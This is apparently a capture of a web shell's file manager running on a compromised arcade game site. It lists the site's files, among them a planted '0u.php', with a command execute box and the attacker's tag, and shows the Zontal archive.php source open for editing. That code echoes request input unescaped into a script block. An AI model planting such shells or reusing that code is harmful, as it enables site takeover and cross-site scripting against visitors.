home
/
aioutajg
/
watermelongame.site
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] admin
N/A
[DIR] includes
N/A
[DIR] static
N/A
.htaccess
601 bytes
Rename
Delete
0u.php
37.68 KB
Rename
Delete
404.php
1.52 KB
Rename
Delete
Zontal-v1.5.zip
13.65 MB
Rename
Delete
archive.php
6.31 KB
Rename
Delete
category.php
5.03 KB
Rename
Delete
error_log
14.30 MB
Rename
Delete
index.php
15.67 KB
Rename
Delete
login.php
4.56 KB
Rename
Delete
logout.php
89 bytes
Rename
Delete
page.php
1.38 KB
Rename
Delete
register.php
8.32 KB
Rename
Delete
robots.txt
699 bytes
Rename
Delete
search.php
5.74 KB
Rename
Delete
single.php
13.76 KB
Rename
Delete
sitemap.php
1.23 KB
Rename
Delete
update_game_descriptions.php
23.55 KB
Rename
Delete
update_game_titles.php
1.18 KB
Rename
Delete
user.php
10.64 KB
Rename
Delete
zontal.sql
736.31 KB
Rename
Delete
<?php // +------------------------------------------------------------------------+ // | @author: MvnThemes // | @name: Zontal - The Arcade Online HTML5 Game Playing Platform // | @author_email: mvk62015@gmail.com // | @version: 1.0v // +------------------------------------------------------------------------+ // | Zontal - The Arcade Online HTML5 Game Playing Platform // | Copyright (c) 2017 Zontal. All rights reserved. // ?> <?php // Include Header ?> <?php include("includes/header.php") ?> <?php // Here we want to get which page the user wants to see // Example: Most Popular, Newest $type = Secure_DATA($_GET['type']); ?> <body class="bg-dark dark:bg-zinc-900"> <?php // Include Main Header ?> <?php include("includes/main-h.php") ?> <?php // Container Start ?> <div class="body container-zon mt-2 px-0"> <?php // Displaying the Page Title ?> <h1 class="font-bold text-4xl mb-3 dark:text-gray-200 mt-12 text-center capitalize"><?php echo $type ?></h1> <?php // Game Showing Container ?> <div id="zon_games" class="grid grid-cols-1 sm:grid-cols-2 md:grid-cols-3 lg:grid-cols-6 gap-4 mt-16 mx-2"> <?php $run = mysqli_query($con, "SELECT * FROM zon_games ORDER BY id DESC"); while ($row = mysqli_fetch_assoc($run)) { $description = $row['game_description']; $words = explode(' ', $description); $truncatedDescription = implode(' ', array_slice($words, 0, 15)) . '...'; ?> <a href="single/<?= $row['id'] ?>/<?php $text = $row['game_name']; $lower = strtolower($text); $revspace = str_replace(" ", "-", $lower); echo $revspace; ?>" class="card relative overflow-hidden rounded-xl cursor-pointer transition-all duration-300 hover:shadow-lg"> <img src="<?= $row['game_image_url'] ?>" class="w-full h-48 object-cover rounded-t-xl" alt="<?= $row['game_name'] ?>"> <div class="p-4 bg-[#1e1f26]"> <h2 class="text-white font-semibold"><?= $row['game_name'] ?></h2> <p class="text-gray-400 text-sm mt-2"><?= $truncatedDescription ?></p> </div> </a> <?php } ?> </div> <?php // Skeleton Loading (Optional, can be removed if not needed) ?> <!-- <div class="zon-loader grid mt-16 mx-2"> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> <div class="box block relative dark:bg-zinc-800 bg-gray-200 overflow-hidden rounded-xl overflow-hidden upward transition duration-300"></div> </div> --> </div> <?php // Container End ?> <?php // Include Footer ?> <?php include("includes/footer.php") ?> </body> <script src="<?php echo $site_url ?>static/js/jquery-3.4.1.min.js"></script> <?php // Pagination Code ?> <script> var page_no = 1; LoadData(); $(window).scroll(() => { if ($(window).scrollTop() + $(window).height() > $(document).height() - 200) { LoadData(); } }) function LoadData() { var t_n = '<?php echo $_GET['type'] ?>'; $.post("<?php echo $site_url ?>includes/ajax/arc.php", { page: page_no, type: t_n }, (data) => { // console.log(data); $("#zon_games").append(data); $(".zon-loader").hide(); }); page_no++; } </script> <?php // include Footer ?> <?php include("includes/footer.php") ?>
Save